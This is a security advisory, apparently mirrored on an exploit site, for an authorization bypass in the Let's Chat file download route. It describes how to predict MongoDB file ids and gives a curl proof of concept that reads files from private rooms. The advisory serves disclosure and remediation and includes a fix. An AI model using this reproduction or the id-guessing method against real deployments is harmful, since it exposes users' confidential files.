Share
## https://sploitus.com/exploit?id=PACKETSTORM:227210
# Security Advisory: Insufficient Access Controls Allow for Unauthorized File Downloads (Let's Chat)
    
    **Assigned CVE ID:** CVE-2026-66750
    
    ## Summary
    
    `GET /files/:id/:name` checks that the caller is logged in and then serves the file. It never
    checks whether the caller is allowed to see the room the file belongs to.
    
    Any account can therefore read attachments from private and password protected rooms it is
    not a member of, and users whose access to a room has been revoked keep working download
    links for every file that was uploaded while they had access.
    
    The file listing endpoint in the same controller does check membership, which is what the
    download endpoint is missing.
    
    ## Affected versions
    
    Repo URL: https://github.com/sdelements/lets-chat
    
    Vulnerable from 0.3.0 (commit `55e8833`, 24 Jan 2015, "Files backend") through 0.4.8, the
    final release. No fixed version exists.
    
    Private and password protected rooms arrived in 0.4.0, so the confidentiality boundary this
    crosses exists from 0.4.0 onward.
    
    Requires `files.enable: true`, which is off in `defaults.yml` but on in many deployments,
    since file sharing is a documented feature.
    
    Confirmed on 0.4.8 at commit `617207f`, and on `docker.io/sdelements/lets-chat:latest`
    (0.4.7).
    
    ## Classification
    
    CWE-639: Authorization Bypass Through User-Controlled Key. Also CWE-862, Missing
    Authorization.
    
    CVSS 4.0 base score 5.3 (Medium)
    `CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N`
    
    ## Threat model
    
    The attacker needs one ordinary user account, network access to the HTTP port, and the
    ObjectId of a file. Self registration is enabled by default.
    
    The id is not a secret in practice. Anyone who was ever a member of the room already has it,
    because `files:list` and the `upload://files/<id>/<name>` message posted on upload both hand
    it out. Access removal does not invalidate it, and there is no expiry or signature on the
    URL.
    
    For an attacker with no history in the target room, the id has to be guessed. It is a
    MongoDB ObjectId, not a UUID, and very little of it is unpredictable:
    
    ```
    6a65092c fa7876 0001 34649e
        |       |     |     |
        |       |     |     +--- 3 byte counter, increments by one per document
        |       |     +--------- 2 byte process id
        |       +--------------- 3 byte machine id, fixed for the life of the process
        +----------------------- 4 byte Unix timestamp, one second resolution
    ```
    
    Everything except the counter is constant for the lifetime of a server process, and the
    counter is a single sequence shared by every collection. An attacker who uploads one file of
    their own therefore learns the machine id, the process id and the current counter position,
    and every file uploaded by anyone else sits a short distance away in that sequence. Eight
    consecutive uploads on `sdelements/lets-chat:latest`:
    
    ```
    6a65092c fa7876 0001 34649e
    6a65092c fa7876 0001 34649f
    6a65092c fa7876 0001 3464a0
    6a65092c fa7876 0001 3464a1
    6a65092c fa7876 0001 3464a2
    6a65092c fa7876 0001 3464a3
    6a65092c fa7876 0001 3464a4
    6a65092c fa7876 0001 3464a5
    ```
    
    ## Technical detail
    
    The download route applies `requireLogin` and nothing else.
    `app/controllers/files.js:59-92`:
    
    ```js
    app.route('/files/:id/:name')
        .all(middlewares.requireLogin)
        .get(function(req, res) {
            models.file.findById(req.params.id, function(err, file) {
                if (err) {
                    // Error
                    return res.send(400);
                }
    
                if (!file) {
                    return res.send(404);
                }
    
                var isImage = [
                  'image/jpeg',
                  'image/png',
                  'image/gif'
                ].indexOf(file.type) > -1;
    
                var url = core.files.getUrl(file);
    
                if (settings.provider === 'local') {
                    res.sendFile(url, {
                        headers: {
                            'Content-Type': file.type,
                            'Content-Disposition': isImage ? 'inline' : 'attachment'
                        }
                    });
                } else {
                    res.redirect(url);
                }
    
            });
        });
    ```
    
    `file.room` is loaded and then never consulted.
    
    The listing path in the same feature does gate on membership.
    `app/core/files.js:156-175`:
    
    ```js
    Room.findById(options.room, function(err, room) {
        ...
        var opts = {
            userId: options.userId,
            password: options.password
        };
    
        room.canJoin(opts, function(err, canJoin) {
            ...
            if (!canJoin) {
                return cb(null, []);
            }
    ```
    
    So the application already has the check it needs (`Room.canJoin`, defined at
    `app/models/room.js:130`); the download route just does not call it.
    
    ## Reproduction
    
    Requires `files.enable: true` and `rooms.private: true`
    (`LCB_FILES_ENABLE=true LCB_ROOMS_PRIVATE=true`).
    
    ```bash
    BASE=http://localhost:5000
    
    for U in owner insider; do
      curl -s -X POST $BASE/account/register \
        -H 'Content-Type: application/json' \
        -d "{\"username\":\"$U\",\"email\":\"$U@example.com\",
             \"password\":\"Passw0rd!23\",\"password-confirm\":\"Passw0rd!23\",
             \"firstName\":\"$U\",\"lastName\":\"T\",\"displayName\":\"$U\"}"
      curl -s -c $U.txt -X POST $BASE/account/login \
        -H 'Content-Type: application/json' \
        -d "{\"username\":\"$U\",\"password\":\"Passw0rd!23\"}"
    done
    
    # 1. The owner creates a private room and adds the insider. Note the room id.
    curl -s -b owner.txt -X POST $BASE/rooms -H 'Content-Type: application/json' \
      -d '{"name":"Project","slug":"project","private":true}'
    RID=<room id>
    curl -s -b owner.txt -X PUT $BASE/rooms/$RID -H 'Content-Type: application/json' \
      -d '{"name":"Project","description":"","participants":"insider"}'
    
    # 2. The owner uploads a file. Note the file id.
    echo "CONFIDENTIAL-PRODUCT-ROADMAP" > roadmap.png
    curl -s -b owner.txt -F "file=@roadmap.png;type=image/png" $BASE/rooms/$RID/files
    FID=<file id>
    
    # 3. The owner revokes the insider.
    curl -s -b owner.txt -X PUT $BASE/rooms/$RID -H 'Content-Type: application/json' \
      -d '{"name":"Project","description":"","participants":""}'
    
    # 4. The insider is now correctly locked out of the room.
    curl -s -b insider.txt "$BASE/files?room=$RID"
    curl -s -b insider.txt "$BASE/messages?room=$RID"
    
    # 5. But the file still downloads.
    curl -s -b insider.txt "$BASE/files/$FID/roadmap.png"
    ```
    
    The same result holds for an account that was never a member of the room, given the file id.
    
    ## Impact
    
    Attachments in private and password protected rooms are readable by any account on the
    server that holds or can derive the file id. Removing someone from a private room, or
    changing a room password, does not cut off their access to files already uploaded, and
    archiving the room does not either.
    
    ## Suggested fix
    
    Load the room and reuse the check that `files:list` already performs. In
    `app/controllers/files.js:62`, after the `if (!file)` guard:
    
    ```js
    models.room.findById(file.room, function(err, room) {
        if (err || !room) {
            return res.sendStatus(404);
        }
    
        room.canJoin({ userId: req.user._id, password: req.param('password') },
                     function(err, canJoin) {
            if (err || !canJoin) {
                return res.sendStatus(404);
            }
    
            // existing sendFile / redirect logic
        });
    });
    ```
    
    Returning 404 rather than 403 for an unauthorized id avoids confirming that the file exists.